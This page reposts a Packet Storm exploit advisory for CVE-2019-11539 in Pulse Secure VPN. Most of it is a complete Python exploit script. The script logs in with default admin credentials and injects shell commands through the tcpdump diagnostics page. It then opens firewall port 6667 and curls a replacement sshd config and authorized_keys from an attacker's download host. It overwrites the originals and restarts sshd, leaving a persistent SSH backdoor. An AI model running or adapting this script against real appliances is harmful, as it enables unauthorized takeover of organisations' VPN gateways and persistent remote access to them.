Pulse Secure VPN Arbitrary Command Execution ≈ Packet Storm – Digitalmunition




Exploit/Advisories no-image-featured-image.png

Published on April 7th, 2021 📆 | 8178 Views ⚑

0

Pulse Secure VPN Arbitrary Command Execution ≈ Packet Storm

[*]# Exploit Title: Pulse Secure VPN – Arbitrary Command Execution[*]# Date: 05/04/2021[*]# Exploit Author: Tobias Marcotto[*]# Tested on: Kali Linux x64[*]# Version: 9.0RX before 9.0R3.4, 8.3RX before 8.3R7.1, 8.2RX before 8.2R12.1, 8.1RX before 8.1R15.1 and Pulse Policy Secure version 9.0RX before 9.0R3.2, 5.4RX before 5.4R7.1, 5.3RX before 5.3R12.1, 5.2RX before 5.2R12.1, 5.1RX before 5.1R15.1[*]# Description: In Pulse Secure Pulse Connect Secure version 9.0RX before 9.0R3.4, 8.3RX before 8.3R7.1, 8.2RX before 8.2R12.1, and 8.1RX before 8.1R15.1 and Pulse Policy Secure version 9.0RX before 9.0R3.2, 5.4RX before 5.4R7.1, 5.3RX before 5.3R12.1, 5.2RX before 5.2R12.1, and 5.1RX before 5.1R15.1, the admin web interface allows an authenticated attacker to inject and execute commands.[*]# CVE : CVE-2019-11539

*********************************************************************************************************

#!/usr/bin/python

# Imports[*]import requests[*]import urllib[*]from bs4 import BeautifulSoup

# Host information[*]host = ‘REPLACE-WITH-IP-OR-FQDN’ # Host to exploit[*]login_url = ‘/dana-na/auth/url_admin/login.cgi’ # Login page[*]CMDInjectURL = ‘/dana-admin/diag/diag.cgi’ # Overwrites the Template when using tcpdump[*]CommandExecURL = ‘/dana-na/auth/setcookie.cgi’ # Executes the code

# Login Credentials[*]user = ‘admin’ # Default Username[*]password = ‘password’ # Default Password

# Necessary for Curl[*]downloadHost = ” # IP or FQDN for host running webserver[*]port = ” # Port where web service is running. Needs to be a string, hence the quotes.

# Proxy Configuration[*]# Uncomment if you need to use a proxy or for debugging requests[*]proxies = {[*]# ‘http’: ‘http://127.0.0.1:8080’,[*]# ‘https’: ‘http://127.0.0.1:8080’,[*]}

# Headers for requests[*]headers = {[*]’User-Agent’:’Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36′,[*]’Accept’:’text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8′,[*]’Accept-Language’:’en-US,en;q=0.5′,[*]’Accept-Encoding’:’gzip, deflate’,[*]’Content-Type’:’application/x-www-form-urlencoded’,[*]}

# Cookies to send with request[*]cookies = {[*]’lastRealm’:’Admin%20Users’,[*]’DSSIGNIN’:’url_admin’,[*]’DSSignInURL’:’/admin/’,[*]’DSPERSISTMSG’:”,[*]}

# Data for post request[*]loginData = {[*]’tz_offset’: 0,[*]’username’: user,[*]’password’: password,[*]’realm’: ‘Admin Users’,[*]’btnSubmit’: ‘Sign In’,[*]}

xsAuth = ”

s = requests.Session()[*]s.proxies = proxies

# Disable Warnings from requests library[*]requests.packages.urllib3.disable_warnings()

# Administrator Login logic[*]# Probably wouldn’t have figured this out without help from @buffaloverflow[*]def adminLogin():[*]global xsAuth[*]global _headers

# Send the intial request[*]r = requests.get(‘https://%s/dana-na/auth/url_admin/welcome.cgi’ % host, cookies=cookies, headers=headers, verify=False, proxies=proxies)

print(‘[#] Logging in…’) # Self Explanatory[*]r = s.post(‘https://’ + host + login_url, data=loginData,verify=False, proxies=proxies, allow_redirects=False) # sends login post request[*]print(‘[#] Sent Login Request…’)

# Login Logic[*]if r.status_code == 302 and ‘welcome.cgi’ in r.headers.get(“location”,””):[*]referer = ‘https://%s%s’ %(host, r.headers[“location”]) # Gets the referer[*]r = s.get(referer, verify=False) # Sends a get request[*]soup = BeautifulSoup(r.text, ‘html.parser’) # Sets up HTML Parser[*]FormDataStr = soup.find(‘input’, {‘id’:’DSIDFormDataStr’})[“value”] # Gets DSIDFormDataStr[*]print(‘[#] Grabbing xsauth…’)[*]xsAuth = soup.find(‘input’, {‘name’:’xsauth’})[“value”] # Gets the cross site auth token[*]print(‘[!] Got xsauth: ‘ + xsAuth) # Self Explanatory[*]data = {‘btnContinue’:’Continue the session’, ‘FormDataStr’:FormDataStr, ‘xsauth’:xsAuth} # Submits the continue session page[*]_headers = headers # Sets the headers[*]_headers.update({‘referer’:referer}) # Updates the headers[*]r = s.post(‘https://%s’ %(host + login_url), data=data, headers=_headers, verify=False, proxies=proxies) #Sends a new post request

print(‘[+] Logged in!’) # Self Explanatory

# Command injection logic[*]def cmdInject(command):[*]r = s.get(‘https://’ + host + CMDInjectURL, verify=False, proxies=proxies)[*]if r.status_code == 200:[*]soup = BeautifulSoup(r.text, ‘html.parser’) # Sets up HTML Parser[*]xsAuth = soup.find(‘input’, {‘name’:’xsauth’})[“value”] # Gets the cross site auth token[*]payload = {[*]’a’:’td’,[*]’chkInternal’:’On’,[*]’optIFInternal’:’int0′,[*]’pmisc’:’on’,[*]’filter’:”,[*]’options’:’-r$x=”%s”,system$x# 2>/data/runtime/tmp/tt/setcookie.thtml.ttc < ' %command,[*]'toggle':'Start+Sniffing',[*]'xsauth':xsAuth[*]}[*]# Takes the generated URL specific to the command then encodes it in hex for the DSLaunchURL cookie[*]DSLaunchURL_cookie = {'DSLaunchURL':(CMDInjectURL+'?a=td&chkInternal=on&optIFInternal=int0&pmisc=on&filter=&options=-r%24x%3D%22'+urllib.quote_plus(command)+'%22%2Csystem%24x%23+2%3E%2Fdata%2Fruntime%2Ftmp%2Ftt%2Fsetcookie.thtml.ttc+%3C&toggle=Start+Sniffing&xsauth='+xsAuth).encode("hex")}[*]# print('[+] Sending Command injection: %s' %command) # Self Explanatory. Useful for seeing what commands are run[*]# Sends the get request to overwrite the template[*]r = s.get('https://' + host + CMDInjectURL+'?a=td&chkInternal=on&optIFInternal=int0&pmisc=on&filter=&options=-r%24x%3D%22'+command+'%22%2Csystem%24x%23+2%3E%2Fdata%2Fruntime%2Ftmp%2Ftt%2Fsetcookie.thtml.ttc+%3C&toggle=Start+Sniffing&xsauth='+xsAuth, cookies=DSLaunchURL_cookie, verify=False, proxies=proxies)[*]# Sends the get request to execute the code[*]r = s.get('https://' + host + CommandExecURL, verify=False)

# Main logic[*]if __name__ == ‘__main__’:[*]adminLogin()[*]try:[*]print(‘[!] Starting Exploit’)[*]print(‘[*] Opening Firewall port…’)[*]cmdInject(‘iptables -A INPUT -p tcp –dport 6667 -j ACCEPT’) # Opens SSH port[*]print(‘[*] Downloading Necessary Files….’)[*]cmdInject(‘/home/bin/curl ‘+downloadHost+’:’+port+’/cloud_sshd_config -o /tmp/cloud_sshd_config’) # download cloud_sshd_config[*]cmdInject(‘/home/bin/curl ‘+downloadHost+’:’+port+’/authorized_keys -o /tmp/authorized_keys’) # download authorized_keys[*]print(‘[*] Backing up Files…’)[*]cmdInject(‘cp /etc/cloud_sshd_config /etc/cloud_sshd_config.bak’) # backup cloud_sshd_config[*]cmdInject(‘cp /.ssh/authorized_keys /.ssh/authorized_keys.bak’) # backp authorized_keys[*]print(‘[*] Overwriting Old Files…’)[*]cmdInject(‘cp /tmp/cloud_sshd_config /etc/cloud_sshd_config’) # overwrite cloud_sshd_config[*]cmdInject(‘cp /tmp/authorized_keys /.ssh/authorized_keys’) # overwrite authorized_keys[*]print(‘[*] Restarting SSHD…’)[*]cmdInject(‘kill -SIGHUP $(pgrep -f “sshd-ive”)’) # Restart sshd via a SIGHUP[*]print(‘[!] Done Exploiting the system.’)[*]print(‘[!] Please use the following command:’)[*]print(‘[!] ssh -p6667 [email protected]%s’) %(host)[*]except Exception as e:[*]raise[*]

Source link

Tagged with:



Leave a Reply